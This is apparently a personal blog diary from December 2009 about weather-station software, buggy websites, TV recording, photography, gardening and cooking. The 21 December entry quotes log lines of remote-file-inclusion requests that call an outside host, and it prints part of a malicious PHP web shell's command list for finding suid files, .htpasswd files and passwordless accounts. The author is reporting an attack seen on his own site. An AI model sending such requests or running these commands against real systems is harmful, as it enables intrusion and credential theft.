Of course, I've picked a bad example. This Gardening Australia episode recommends to dilute 1:20, the Wikipedia article recommends 1:50, and Gardening Australia's previous recipe wanted “two dessert spoons per litre of water”. It's not clear what volume a dessert spoon should have, since it's not in any country's list of measurements, but based on my measurements, this would also be 1:50. They're probably right: the exact proportions aren't important. But there's no reason to complicate the matter with vague, ambiguous or just plain incorrect measurements.


Tuesday, 15 December 2009 Dereel Images for 15 December 2009
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Topic: general, opinion Link here

The weather's warming up again, and spent a fair amount of time monitoring it. They had predicted 29° for Ballarat, and I was expecting closer to 35° here. In fact, we got 37.9°, while Ballarat really got only 29.3°. Sometimes I wonder whether these differences are due to the measuring method or the location. Certainly the temperatures round the outside of the house were in as good agreement as you could expect from locations. It's also not the only place that deviated:

Click to see larger image

On the other hand, the stations at Mount Helen (max 32.5°) and Buninyong (40.9°) are only 1.7 km apart. I suppose it's possible, but it seems unlikely that there would be such a difference.

The weather was also an opportunity to check the DSE bushfire site. They changed it again, in fact while I was reloading. And again they've made it worse! Now there's a marginally better map, and you can resize it, but the text is completely invisible:

 
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If you look much further to the right, there's a scroll bar. WHY? There's no earthly use for it. And once you scroll down, the last three columns (status, size and number of vehicles involved) are irrevocably gone. Spent a little more time trying to work out how they present the table, but they've gone to a lot of trouble to obfuscate not only the page, but the HTML source.

This isn't just a problem with my system—I can just hear the DSE people saying “You should use Microsoft if you want to be saved”—it occurs with Microsoft and Apple too. My first attempt with Microsoft “Internet Explorer” gave me a page with no map or status information, the next gave me a 504 error, and the third brought a display that also omitted the last column:

 
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In addition, the vertical scroll bar sometimes appears, and sometimes it doesn't. Looking at that part of the HTML that I can see, I'm not filled with the warm fuzzy feeling that the web programmers are very competent:

//REQUIRED SECTION. CHANGE "YOURSERVER" TO VALID LOCATION ON YOUR WEB SERVER (HTTPS IF FROM SECURE SERVER)
</script><script language="javascript1.1" src="http://www.dse.vic.gov.au/dse/hbx/hbx.js"></script>

I really should go to more trouble to work out a better presentation. That will certainly silence a number of “but that's not possible”s.


Topic: photography Link here

Another small camera toy today: an LCD monitor protector for my Olympus E-30. I had had one on my E-510, but it got very unsightly and difficult to see through. Possibly I attached it incorrectly—the instructions were only in Chinese. But it did its job, and when I sold the camera, I peeled off the protector, and the screen was as good as new.

Unfortunately I can't say that about the E-30: small scratches have become evident, and I needed to do something. In the meantime, they've brought out a new kind of screen protector made of laminated glass—I think. I ordered one, and it arrived today. Once again the instructions are in Chinese, but the image in the middle suggests a 6-fold lamination:

 
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I wish I knew what the rest says. I can read something about 0.5 mm (thickness) and 12 kg/cm², but that's about all. But the protector looks robust, and presumably it won't scuff like the last one did. On the other hand, it's very shiny, and it's thick enough to stop the screen from closing properly when folded inwards.


Wednesday, 16 December 2009 Dereel
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Back to software installation
Topic: technology Link here

Both batteries for my Dell Inspirons (5100 and 1150) died some time ago, along with the disk in the one in the kitchen, and I've been dragging my feet on bringing it up to date. My intention was to install FreeBSD on a USB stick. Now I have all the components, and I've also downloaded a USB image of 8.0-RELEASE, so set to installing it.

Copying the data to the stick was more complicated than I expected: after copying a few MB, I got a hard I/O error:

Dec 16 11:06:05 dereel kernel: umass0: BBB reset failed, IOERROR
Dec 16 11:06:05 dereel kernel: umass0: BBB bulk-in clear stall failed, IOERROR
Dec 16 11:06:05 dereel kernel: umass0: BBB bulk-out clear stall failed, IOERROR

That was on dereel, the FreeBSD box that has already given me strange USB errors, so tried it on kimchi, the NetBSD box; there it worked, but at a snail's pace: 170 kB/s.

Booting the machine brought the next surprise: it was an installation image, an alternative to the installation DVD, so I had to find another USB stick to install on. That, too, took ages, and it wasn't finished before I left to go to town. It was finished when I got back, and I could boot from it, but for some reason the device entries weren't created, and I couldn't mount the root file system. Decided to give up and try a DVD install—I had installed on the wrong USB stick, twice the size of the one I wanted to use, so it didn't make sense to continue.

The weather's been very warm, and once again cvr2 crashed. I suspect there's a connection, but it's still a pain.


Interpreting the DSE bushfire information
Topic: technology, general Link here

More work on trying to get the DSE bushfire info page to render correctly, and made some progress:

Downloading the data, all 86 kB of it, was interesting. It should be fairly simple to frob it to create something more displayable:

<td valign="top">REGION 08</td><td valign="top">DOVETON</td><td valign="top">ROWAN DR</td><td valign="top">16/12/09 12:37:00 PM</td><td valign="top">STRUCTURE</td><td valign="top">SAFE</td><td valign="top">SMALL</td><td align="center" valign="top">4</td>
</tr>

The interesting thing was the JavaScript that preceded it: a single line, 38055 characters long, with multiple scripts like:

<script>fireStatuses[fireStatuses.length] = {'status':  'SAFE' , 'name':  'ROWAN DR' , 'fireNumber':  '' , 'startDateTime':  ''  , 'incidentSize':  'SMALL' , 'incidentOriginDate':  '16/12/09 12:20:00 PM' , 'lastPirDate':  '16/12/09 12:37:00 PM' , 'incidentLocation':  'DOVETON' , 'region':  'REGION 08' , 'territory':  'CFA' , 'incidentType':  'STRUCTURE' , 'longitude':  '145.23713842936755' , 'latitude':  '-37.98454241840866' , 'incidentNo':  '1253896' , 'resourceCount':  '4' , 'coordinate': 'POINT (1.616772429422938E7 -4577242.405089633)'};</script>

Apart from the tabular information, this also includes the location of the fire (with a resolution to about 1 nm, or 0.000001 mm), both the start and the last report date and time, and the incident number.

In the last summer, people were asked not to refresh the page so often, because of the load on the web server. At the time, they had an auto-refresh, though I don't see it in the current HTML; but I'm sure they could greatly streamline this page, placing less network load and speeding up transmission times. They certainly don't need the redundant information here; I'd guess they could reduce it in size by about 80%. And that's not all that gets loaded: the tcpdump that I ran to examine the transfer stored a total of 114 kB.


Topic: general Link here

I've been dragging my heels about the results of my quarterly blood test, which I had done over 4 months ago: it's really difficult to find time to go to the Eureka Medical Centre and wait hours to see the doctor. But clearly I'm overdue for the next blood test, so called up and discovered that my doctor was in in the afternoon, from 12:00 to 17:00.

Accordingly into town and to the medical centre, where they told me he wasn't there at all that day. It didn't even seem to worry them that I had come 35 km to see him. This is completely impossible. The doctor's good, but if I don't see him because of their or my fault, that doesn't make any difference. Time to look for a new doctor in a new clinic.

Chris and David over again for dinner. David's leaving again for 4 weeks tomorrow.


Thursday, 17 December 2009 Dereel Images for 17 December 2009
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Gnuplot and other evils
Topic: technology, general Link here

What an amazing change in the weather! Yesterday we had a maximum of 40.4°; today it was 22.1°, and that at 2:42, only because it was still cooling down. By the time I got up it had dropped under 20°.

Ideal weather, then, to play around with my weather software, and did a lot of work on the graphical representations, which really needed it. Included a graph of the temperature differences between here and Ballarat. That's not as simple as it seems: the readings take place at different times, so I have to interpolate. Here are the results for the last three days:

Click to see larger image Click to see larger image Click to see larger image

My observations that it tends to be warmer here than in Ballarat are somewhat confirmed, but today was an exception. I'll have to watch for a longer period of time.

That was the good news; the bad news is that gnuplot once again drove me to distraction. The following patch completely broke things:

        set xdata time
-       set timefmt "%s"
        set xrange ["MIDNIGHT":"ENDTIME"]
+       set timefmt "%s"
        set xtics 10800

It seems that the range is dependent on the format; but the error messages were completely unrelated, and it took me over an hour to find the cause. What a pain this stuff is!

That wasn't the only problem: we had 36 mm rain today, but looking at my Weather station history on Wunderground, it seemed that we had none. Further investigation showed that I had been reporting the rain incorrectly: instead of reporting the actual rain that has fallen, you need to report the total rainfall for the previous hour. That means that the totals you report depend on the frequency of reporting. Why would anybody want to do that? Fixed it up, so the Wunderground page shows the greatest rainfall between 18:30 and 20:30, when in fact the rainfall was like this:

Click to see larger image

It also means that I have to do some head-scratching about how to report the comparative rainfall for other stations; currently I have some that appear to have had over 100 mm rain:

Click to see larger image
Topic: photography Link here

Comment from Jari Kirma today. His girlfriend is Chinese, so they were able to decipher the description of my new screen protector:

“The layers on the screen protector thing: layers are... protection layer 4, transparency layer 1, color layer 5, anti-shock layer 2, glue layer 3 and protection layer 6
 
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Topic: gardening Link here

A couple of weeks back, I held back from pulling out what looked like a broadleaf weed: it didn't seem quite the kind I knew. A good thing too: it was the sole survivor of the poppies that I had planted some time earlier:


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These were seeds from Diggers. I don't know why, but I've had very poor results from their plants. Hopefully this one will self-seed.


Friday, 18 December 2009 Dereel Images for 18 December 2009
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Weather station: graphs on demand
Topic: technology Link here

I've really got other things to do, but spent most of the day playing around yet again with the web pages for the weather station. Currently I have the problem that the database is only on my system at home, not on the external web site, so I've been generating static PHP files with the data. Clearly that doesn't scale, so I've just had yesterday and today. Today I addressed the issue at least locally, and things went pretty quickly and smoothly. About the only issue is—how could it not be?— gnuplot. So now I can generate both data and plots for any day, and select them. But I'm still limited in the static choice of plots. It would be nice to have a language to say something like “show me comparative temperatures between Ballarat, Sheoaks and Dereel for the period 3 to 8 December”. That would also make working with these horrible gnuplot scripts easier. But I think it'll be a while before I manage that. The next step will probably be multi-day views of the same information I'm currently displaying only for one day.


Topic: gardening Link here

CJ along in the afternoon to chop down yet more timber; another branch has fallen off one of the conifers along the road. Borrowed Chris' trailer to cart the stuff off, leaving on the trailer some logs suitable for heating: the Yeardley's have a wood-fired “slow combustion heater”.


Saturday, 19 December 2009 Dereel Images for 19 December 2009
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Streaming audio and yet more weather stuff
Topic: technology Link here

One of the better programmes on ABC classic FM is Graham Abbot's “Keys to Music”. He's just done a two-part series on JS Bach's sacred cantatas, and it's available online. But it's this silly streaming audio stuff, and about the only time I have time to listen to it is when I'm driving in my car. How do I get it in MP3 form?

I did some investigation a while back, but didn't make much progress. The best-looking invocation was something like:

=== grog@dereel (/dev/ttyq0) /home/Music/audiostream 9 -> mplayer -playlist http://www.abc.net.au/classic/keys/audio/keys_12122009.ram  -ao pcm:file=/dev/stdout | lame - out.mp3

That almost worked, but the resulting MP3 was full of jumps and squeaks. It sounded as if there were gaps in the incoming stream, and I strongly suspected the pipe; possibly lame was padding short reads. Tried it separately:

=== grog@dereel (/dev/ttyq0) /home/Music/audiostream 10 -> mplayer -playlist http://www.abc.net.au/classic/keys/audio/keys_12122009.ram  -ao pcm:file=foo.pcm
Opening audio decoder: [faad] AAC (MPEG2/4 Advanced Audio Coding)
FAAD: compressed input bitrate missing, assuming 128kbit/s!
AUDIO: 44100 Hz, 2 ch, s16le, 128.0 kbit/9.07% (ratio: 16000->176400)
Selected audio codec: [faad] afm: faad (FAAD AAC (MPEG-2/MPEG-4 Audio) decoder)
=== grog@dereel (/dev/ttyq0) /home/Music/audiostream 11 -> lame foo.pcm out.mp3

And that worked. Well, at least for the first episode. The second one seemed to work, though for some reason it reported a different speed:

Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
AUDIO: 22050 Hz, 2 ch, s16le, 32.5 kbit/4.60% (ratio: 4057->88200)
Selected audio codec: [ffcook] afm: ffmpeg (FFmpeg COOK audio decoder)

But when I tried to listen to the result, there was no sound. mplayer failure? No, realplayer couldn't get anything out of it either. Looks like a mixup at the ABC.

Still more playing around with the weather station software. I'm relatively happy with the representation of the daily data, but it would be nice to have information over longer periods of time. That's straightforward enough: I could just modify the daily graphs for weeks, months and years, like wview does, but I wanted something more flexible. Played around with my horrible plot script and got it to more or less work, but now I have the issues with the number of markers on the y axis.


New flowers
Topic: gardening Link here

More flowers are coming up now: the first real Hibiscus from the cutting my uncle Max gave me last spring, our first water lily, and some other aquatic flowers whose names I have forgotten:


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One of the reasons it's so difficult to recognize flowers as they grow is that photos are almost invariably of fully-developed flowers, so it's difficult to know what they look like before. Here's a snapdragon (with aphids, which I didn't see until I looked at the photo; I thought we didn't have any), and what I think is going to be a Chasmanthe floribunda:


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Topic: general Link here

Chris over for dinner tonight, and this time we had plenty to eat. Yvonne had bought the biggest ossibuchi I had ever seen, and we couldn't finish them. This time I was the one to under-cater: I had forgotten to chill the sherry. What do you do under those circumstances? Forget the aperitive.

Tonight was also the last night of Hanukkah, and as usual we watched the Hanukkiya burn down. It's really difficult to predict the sequence in which the candles die (tonight it was 512396487). We should place bets next year.


Sunday, 20 December 2009 Dereel
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Weather stations: outside contacts
Topic: technology, food and drink Link here

Message in the mail from David Peters, who has bought the same model of weather station as I have, and wanted to know about Steve Woodford's patches to wview. He had started writing his own software for Linux, but didn't want to replicate work already done. Sent him a tarball of my current work—hopefully it won't cause him too many headaches. More interesting, though, is that he managed to talk to the station at all under Linux. He's promised me a copy of his code once he's tidied it up.

He also mentioned another pizza dough recipe that I'll look at in more detail next time we make pizza.

Apart from that, more work on the display stuff. I'm making some progress towards multi-day displays. Part of the issue is that I'm not sure what I really want, so this is quite experimental. But it's becoming clear that making all the possible plots for a specific interval uses up a lot of time and disk space. I'll need to translate my plot script into PHP and do it on demand and per plot.


Monday, 21 December 2009 Dereel Images for 21 December 2009
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Malware and weather station pain
Topic: technology Link here

My home-brew web site hit counter showed some interesting URLs today:

     14 /?id=http://www.mcdnit.com.br/imagens1/fx29sh/fx29id.txt??
     13 /grog/?id=http://www.mcdnit.com.br/imagens1/fx29sh/fx29id.txt??
     12 /grog/photos/Photos.php?size=2&amp;dirdate=20091206/?id=http://www.mcdnit.com.br/imagens1/fx29sh/fx29id.txt??
     12 /grog/photos/Photos.php?size=2&amp;dirdate=20090901/?id=http://www.mcdnit.com.br/imagens1/fx29sh/fx29id.txt??
     12 /grog/photos/?id=http://www.mcdnit.com.br/imagens1/fx29sh/fx29id.txt??

Clearly they're nothing that I have linked to. Went looking, only to find very little at http://www.mcdnit.com.br/imagens1/fx29sh/fx29id.txt??, but I took a look around and found http://www.mcdnit.com.br/imagens1/fx29sh/fx29sh.txt, a PHP script which looks decidedly malevolent:

  $cmdaliases = array(
    array("List Directory", "ls -al"),
    array("Find all suid files", "find / -type f -perm -04000 -ls"),
    array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
    array("Find all sgid files", "find / -type f -perm -02000 -ls"),
    array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
    array("Find config.inc.php files", "find / -type f -name config.inc.php"),
    array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
    array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),

Even more interesting, for a Brazilian site, are some of the comments:

$sort_default  = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
$sort_save     = TRUE; #Simpan posisi pengurutan menggunakan cookies.
$copy_unset    = FALSE; #Hapus file yg telah di-copy setelah dipaste
$filestealth   = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.

That's clearly not Portuguese; given the short text, I can't make up my mind whether it's Malay or Indonesian, though I tend to Malay. More important, though, is: what are they trying to do? Am I at risk? I hope not.

Weather station: the pain of getting it right

Still thinking about the weather station graphics today. It's (still) clear that my decision was right to rewrite the plotting functions in PHP and perform them only if they're needed. I'll also need a cron job to clean out old plots—I had something like 30 MB worth in there before I did so, and about 20% of all non-photo files on my personal web site. And this is after only a month.

The real problem, though, is: how do I do it right? Somehow I'm always left with this feeling with PHP; different tools do impose different ways of doing things, and in this case I need to run a MySQL query and then run gnuplot against the saved results. Couldn't think of a clean way to do that, so took the coward's way out; with time I'll think of a not completely unacceptable way of doing it.


Topic: gardening Link here

A bit of garden work, not very much: once again the temperatures hit 30°. One of the plots I should do is forecast maxima and minima in Ballarat and actual maxima and minima in Dereel. Finally managed to put up the last wall pot on the middle post of the verandah, and put a volunteer Nasturtium in it, which to my surprise reacted immediately, violently and negatively to the transplantation. We'll see if it makes it.

I'm also still thinking about wind screens for the eastern garden, and I don't want to plant the Itea ilicifolia until it's done (it'll be close to a part of the screen), so put it in a bigger pot.


Topic: photography, gardening Link here

Also some experimental macro photos of various flowers with the ring flash. I still can't find a way to get it to do what I want. There's clearly a big difference in the shadows between a shot with ring flash (left) and without (right):


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But the second photo (taken with TTL auto flash) actually has a longer exposure than the first one, and in particular a wider aperture (f/4 instead of f/5), which is obvious from the short depth of field. The flash is powerful enough to give me f/14, with significant increase in depth of field:


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But how do I tell the camera to do that? Maybe there's a way, but the only way I can find it is to set manual exposure. If I set aperture priority, the camera automatically drops the shutter time to unacceptably (and unnecessarily) long values. And that means setting manual flash too. There must be an easier way.


Tuesday, 22 December 2009 Dereel Images for 22 December 2009
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Topic: general Link here

We still haven't got very far with our bushfire preparations, but today I did one small step: over to Chris' place, where they have a diesel generator that would probably run the bore pump. Problem: no battery, and an oil leak that appears to come from a completely strange oil drain plug. Normally these plugs are screwed into the sump, but this one appears to be screwed on, held with a bolt at one side. Maybe the bolt is just a safety device, and the plug isn't screwed in properly. It'll take a bit of transport, so left again, scratching my head.

The DSE has messed around with their web site again. This time they've managed to get the entire text in the table—not by allowing the table to fill the width of the window, but by overlaying the texts:

 
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When will they ever learn?


Topic: photography Link here

More playing around with garden photography. I'm now having more fun with the ring flash, though I still have problems: in general, I can get correct exposure with TTL flash (I still don't know what the problem was earlier), but I have no control over the aperture. If I use aperture priority mode, I can set the aperture, but the camera then sets a ridiculously low shutter speed. In manual mode it works well enough, though I had to adjust every single image I took, but this is even more primitive than it was 30 years ago, where I could use automatic mode and set one of three apertures. What am I missing? Maybe I can still do that, but my experiments suggest that it won't work.


Garden flowers
Topic: gardening Link here

A number of plants are now coming into bloom: the Antirrhinum (snapdragons) and Lathyrus odoratus (sweet peas) that I grew from seed, as well as the Buddleja globosa, which I think are triggered by the solstice (which occurred this morning at 4:47):

The Buddlejas later proved to be Buddleja × weyeriana, not globosa.


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I'm having my doubts (again) about identifying some of the plants in the garden. If I'm correct, the following three are a Chasmanthe floribunda, a Watsonia and a Crocosmia “Lucifer seedlings”, about the only thing we bought from Diggers last year that has survived.


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But are they? I'm pretty sure about the Crocosmia, because we planted it in a pot, and it hasn't been out since we bought it. But the other two also look the same, and I noted that the second ones were Watsonia, from Laurel Gordon. I think that the first were Chasmanthe, but although I keep pretty detailed records, I didn't note at the time where I had planted them. Hopefully things will be clearer when they bloom.

The arums that I chopped back 10 days ago are sprouting again. I had expected that, but not that they would sprout out of the existing stems:


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Not everything is looking happy, though; the Camellia sinensis is looking rather stressed, possibly from too much sun (already!). What do I do? Leave it there and hope that it copes, give it some shade, or transplant it? I think the last is not a good idea.


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Also the Lobelias are not all doing well. Some are looking happy, but others are dying back:


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I don't understand what the problem is there; they're now getting enough water, and in some places they're doing well, in others they aren't.


Topic: food and drink Link here

Sourdough: finalizing the recipe

Christmas is coming, and we're having several guests, so it's time to bake some bread. I've been baking my own for nearly 2 years now, but it's been a while since I updated the recipe, so spent some time doing that today. In particular, it's sourdough now, and the quantities have changed considerably. Now to get some photos.


Wednesday, 23 December 2009 Dereel Images for 23 December 2009
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Topic: general, food and drink Link here

Another hot day today—we just didn't make 40°. Did little apart from food preparation. Took a number of photos for my bread recipe, not without mistakes: put the carefully cut baking paper in the wrong way round. Still, it should be OK; I can fix that next time.


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Also cooked some ayam lemak.


Topic: gardening Link here

Our Cannas are growing well, for the most part. A couple looked really deformed, though:


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Somehow the flower stem had got itself wrapped in a leaf and bent off to one side. Cut the leaf open and exposed the stem, which may or may not recover:


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Thursday, 24 December 2009 Dereel Images for 24 December 2009
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Bad web rendering: not always the webmaster's fault
Topic: technology Link here

Looking for TV programmes today, came across another example of completely broken rendering on SBS television, who have given me many examples in the past:


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But nobody else saw it, and on Callum Gibson's suggestion, tried refreshing. Gone! Well, the rendering was acceptable. So clearly a download failure. It seems that firefox could do with better error checking.


Topic: general Link here

The weather's been really strange lately. Yesterday we had 40°; today we had a maximum of 27.1°, and that was in the middle of the night while yesterday was still cooling down:

Temperatures

From the time we got up, the temperatures were in the low 20s, and in the afternoon they dropped sharply, finally dropping to only 11.5°. Spent most of the day inside as a result.


Topic: photography Link here

Spent a lot more time trying to understand flash exposure today, and after finding nothing useful in the instruction manual, decided to read the documentation for Olympus' flagship flash unit, the FL-50R. It wasn't encouraging: the document is only a fraction the size of the manual for the older FL-50, which differs only in minor details, so I read that. The cover page announces the “Olympus Electoronic Flash”:

 
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Reading on, I found interesting details like (page 45):

Turn the electronic flash on. The batteries are recharged when the Charge lamp lights up.

Sometimes I wonder why I bother reading such inaccurate documentation. It said nothing about the relationship between aperture and flash intensity, so in the end I tried it out. In a darkened room, the default TTL exposure was 1/125 s, f/4 (full aperture, half the maximum shutter speed for flash), which gave a decidedly blurred foreground. So I tried it in aperture priority mode at f/8, f/16 (not shown here) and f/22:


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That's a difference in exposure of 5 EV. The images (unretouched) are clearly slightly darker, but not to that extent. Playing around with ufraw shows offsets of 0.18, 0.73, 0.96 and 1.24 EV for the four images. ufraw's not the most accurate of tools, but it does seem plausible that the f/22 image is 1 EV less exposed than the f/4 automatic exposed image.

What does this mean? Basically,

  1. Olympus' documentation isn't worth the bits it's printed on, at least not for this purpose.

  2. The TTL exposure defaults seem completely inappropriate.

  3. The TTL exposure does compensate for the aperture, but not completely.

  4. I still can't get it to use the correct shutter speed. The only way I can do that is with manual exposure, which I suppose I should try.

In summary, I am left with the feeling that this is a job half-done. Possibly Metz shares the blame, since the flash is a Mecablitz 58 AF-1 O digital—and of course, there's no indication of anything in the documentation for that unit either.


Topic: food and drink Link here

Christmas is here, and this year we did a baked ham, the first time I've done it—and we had guests. Usually I never try anything out with guests, but today had to be an exception: we almost never have Christmas dinner by ourselves, and a 4 kg ham needs more mouths to feed, so took the risk.

But how? I found a number of recipes, both in our cookbooks and on the web, and they didn't diverge too much. Even the recipe thoughtfully printed in light gold on white on the packaging for the ham seemed to be similar. First step: remove the skin (and the net around it; I wonder why that was there) and the fat underneath:


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To get the skin off, I found a trick useful that I've developed for getting under the skin of a chicken: forget knives and use your fingers. They're not sharp, so they don't cut into the meat. And the best way to get the subcutaneous fat off was to scrape with a knife blade. How much do you take off? I left the end as it was, since it looked (and later proved) to be edible.

Next was to score the meat with a criss-cross pattern and stud the cross points with cloves:


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Next, the glaze. The packaging was very specific: it called for exactly 265 g (2/3 cup, for some definition of cup) of honey, independent of the size of the ham. Did more investigation, and finally came out with the quantities:

quantity       ingredient       step
150 g       honey       1
20 g       Dijon mustard       1
60 ml       orange juice       1
2 g       hot paprika       1
0.5 g       cinnamon powder       1
20 g       garlic       1

It just needs to be blended together, of course.

Ended up chickening out with the gravy—we weren't even sure we wanted any—and used Green's Gravy Granules. How much? The packaging says “2½ to 3 level tablespoons” of granules per “cup”. At least they clarified that this is an Australian “metric” cup, so maybe the tablespoons were too. Tried to measure out tablespoons—somewhere my inaccurate and contradictory measurement spoons have disappeared—and came to the surprising discovery that the 5 “tablespoons” I measured came out to almost exactly 100ml (or 50 g), 5 Australian “metric” tablespoons. Put it in the water, and it turned to glue, and I had to dilute strongly. A better quantity might be 6% by weight (i.e. 30 g for 500 ml). No points to Greens for omitting any reproducible measurement.


Topic: general, food and drink Link here

The guests turned up in due course—Chris Yeardley, of course, and also Nele Koemle and her mother Magda. Nele comes from Graz, but her mother, who speaks with a typical Austrian accent, is Flemish. She was born in Oostende and moved to Graz in 1977.

Had quite a lively conversation, with the result that I forgot to take photos of the finished ham. It was very good, though I once again saw the dangers of leaving things in the same position in the oven. The side of the joint facing forward looked nice and golden, but the other side was considerably darker, presumably because our oven blows instead of sucks when on fan oven. It wasn't burnt—in fact arguably it tasted better like that—but I didn't find out until serving. I wonder if the fan in the oven is a DC fan that I can wire the other way round.

It seems that both Magda and Nele are interested in music—Magda is very proud of the music school in Graz, which I visited 20 years ago, and the music scene in Graz in general (the word “Harnoncourt” sums it up), and rather disparaging about the music scene in West-Vlaanderen (no mention of “Herreweghe”, who admittedly is from Oost-Vlaanderen, all of 50 km away). And the wine in Steiermark is so good. At least she admitted that the Flemish beer is much better.


Friday, 25 December 2009 Dereel
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In search of building blocks
Topic: technology Link here

Yesterday I mentioned the surprising temperature changes over the previous two days. Well, I mentioned it in my diary for yesterday, which meant that I wrote it today. And for that I produced a custom plot of overlaid temperatures. Not easily. In fact, it took me over 2 hours, much of it spent cursing gnuplot. And even when I got it done, it still showed the date of 23 December, although it was both 23 and 24 December.

What's wrong here? This should be trivial stuff. But somehow gnuplot is just a heap of primitives, none of which appear to be capable of combination to make something more complex. It's not as simple as just a macro language; the concepts somehow seem wrong. I'm still thinking about it, but I can't see any other explanation for the problem I have that everything I try to do is so painful, unless it's the equally unstructured documentation.

gnuplot's only part of the problem of course, just the one that causes me most pain. What I really want is a web-accessible interface for custom graphs. For this, I need:

All that sounds straightforward enough when I write it down, but the how is still not that clear. In the meantime, I have more and more understanding for packages that only supply very limited graphical views.


Saturday, 26 December 2009 Dereel Images for 26 December 2009
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Hackers' barbecue?
Topic: technology, general Link here

Our last hackers' barbecue was two years ago, and I had expected it to be the last. But when I look at the first, we only had three guests. And today Chris and Kelly Yeoh (also guests at earlier barbecues) came to visit, and Chris Yeardley came along as well, so we had the same number of guests.


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Hackers? We talked about computer stuff—Chris (Yeoh) is interested in weather stations, as it turned out, and we spent some time discussing the software. As a Linux person, he's in a good position to find out what I'm doing wrong in initializing the device. Also photography and photo software; he has a Nikon D70 (so does Chris Yeardley; somehow there's a parallel here, which also extends to cats). It's interesting that so many open source hackers toe the party line and have either Canon or Nikon DSLRs.


Topic: general Link here

The Ys had barely left when Essey Deayton came in to spend a couple of days on her way to move to Tasmania; we haven't seen her for nearly 2 years, and today was 6 years since we had a barbecue at her house in Echunga. How time flies.


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Sunday, 27 December 2009 Dereel Images for 27 December 2009
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TV: no relaxation any more
Topic: technology, multimedia Link here

Today I became aware of a new TV programme in the Ebroadcast listings today, 7TWO. That clearly took me a while: they've been broadcasting for nearly 2 months, but only in the capital cities. Decided it was probably time to re-scan my TV feeds, always a pain, and this time it found 7TWO. It also updated all sorts of things that I didn't expect to be changed. And for what? Nothing. 7TWO doesn't seem to have any different content from the other 7 or Prime feeds. It's not clear whether this is an issue with the TV programme guide or the channels. One report claimed that they're not broadcasting it here yet, apparently because of naming conflicts: outside the capital cities, the “channel” is called PRIME, not 7. But then there's another report saying that they started broadcasting on 23 December 2009. So maybe it's just the programme guides that are out of date.

As if this uncertainty weren't enough, in the evening cvr2 (the MythTV box) died on me. When it came back—after a considerable wait for it to cool down—much of the programme information was missing. I can't make up my mind whether it was missing the whole time, or whether something happened to remove it. In any case, two of my films were gone because the TV channel had decided at the last minute to broadcast some sporting event instead. Sigh Once upon a time, watching TV was easy. Now it's real work just trying to find out what's being broadcast.


Topic: gardening Link here

There are still more plants coming up in the garden. There's every chance that some of them are weeds, of course, but especially after the experience with the poppies, I'm more careful. Today we had a prostrate plant that is expanding quite quickly (and thus probably a weed), some shrub that has what I think are blossoms, and another that looks almost like a potato—but in an area where I'm sure there were none:


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To be observed.


Topic: photography, gardening Link here

Holding plants still

Taking photos like the ones above poses a problem: how do you hold the plant still? I've been looking for appropriate clamps or stands for a long time, without success. Today I tried a simple solution: a bamboo stake with some soft gardening wire. Put the stake in the ground, tie the wire round a part of the plant just outside the field of view, and you're away:


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Monday, 28 December 2009 Dereel Images for 28 December 2009
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Hotmail: The professional alternative
Topic: technology Link here

From time to time, when I get spam, I bounce it to the provider (abuse@). I don't know why, since it seems that they never look at it, and in many cases I've got an automated rude reply asking me to stop spamming them. But today I got a message obnoxious enough that I decided to bounce it anyway, and it clearly came from hotmail:

Received: from blu0-omc1-s14.blu0.hotmail.com (blu0-omc1-s14.blu0.hotmail.com [65.55.116.25])
        by w3.lemis.com (Postfix) with ESMTP id 56AE23BB23
        for <me@lemis.com>; Sun, 27 Dec 2009 17:08:43 +0000 (UTC)

I wasn't really expecting a reply, but I got one:

Content-Type: TEXT/PLAIN; charset=iso-8859-1

Unfortunately, in order to process your request, Windows Live Hotmail Support needs additional information to validate and confirm the abuse.

The easiest way to report spam to Hotmail is to click on the \223Report Spam\224 or \223Junk\224 button provided by your ISP. Hotmail has systems set up with most major ISPs so that when their users click on \223Report Spam\224 or \223Junk\224 buttons, we automatically receive a notification.

UGH! Firstly, the bounced message has all the information I can provide, in a form that's easily usable. Secondly, it seems that you can only report spam if you use a point-and-click MUA. And finally, they're so professional that they put Microsoft non-standard characters in a message they claim to be ISO 8859. What a load of amateurs!

To be fair, they point to a draft RFC with standards for including spam, which I suppose make sense if you assume that anybody's going to read it and that additional information is required to explain why it's spam. But this all ignores one thing: Hotmail have allowed this spam out into the world, whether deliberately or (almost certainly) due to insufficient measures to suppress it. I shouldn't be required to jump through hoops to draw their attention to it.

More MythTV pain

Up this morning to look at my TV recordings. They were off by 11 hours! That happens to be the offset of our time zone from UTC, so it was pretty clear where to look for the problem. But why? Went around looking and managed to fix things, more by bumbling around than any kind of documentation. It looks as if the problem was that I had run shepherd under my own user ID instead of as mythtv. It still updated the database, but it wasn't able to access the server information that told it the time zone. What a pain! It seems that there's a simple way to avoid this particular pitfall: set the MythTV time zone to “none” instead of “auto”.

Also more investigation of 7TWO. The web sites tell me that yes, indeed, they're now broadcasting in my area. Did a trial recording and discovered yes, indeed, we're getting it on 655.5 MHz with the service ID 2402. So why does the programme information not agree? Further investigation shows that the reconfiguration found the programme, but entered the wrong xmltvid (prime.shepherd.au instead of 7twoonprime.free.au). That may be because this service ID was already known, previously under the name Prime 2; but if it changes the call sign, you'd expect it to check the xmltvid too. Changed that and re-ran shepherd. It worked, but in the process it changed the xmltvids of the other programmes to 7twoonprime.shepherd.au and 7twoonprimehd.hd.shepherd.au. Why? Why didn't it put those IDs in in the first place? This is such a mess, made no easier by lack of documentation.


Topic: photography Link here

Spent some time reading a book with the concise title “Photographic Multishot Techniques: High Dynamic Range, Super-Resolution, Extended Depth of Field, Stitching” by Juergen (shouldn't that be Jürgen?) and Rainer Gulbins. It appears to be a translation from a German book, and it also appears to have bypassed the proofreaders:

Two factors to consider when selecting your optimum aperture are:

  1. At of which aperture will neighboring sensor elements be affected by diffraction effects?

  2. At of which aperture will diffraction efects be visible in my print (in the case of a standard-sized 4 × 6 or 8 × 10 inch print)?

Value A is usually noticeably lower than value B.

It also contains information of dubious veracity, like the claim that the field of view of a 10 mm lens on a full frame 35 mm camera would be 245°. Did a bit of calculation, but I still can't see how they came up with such a preposterous value.

That's a pity, because there's some good stuff in the book. But a little more care in proofreading and the technical details would really help.


Aeoniums and Echeverias
Topic: gardening Link here

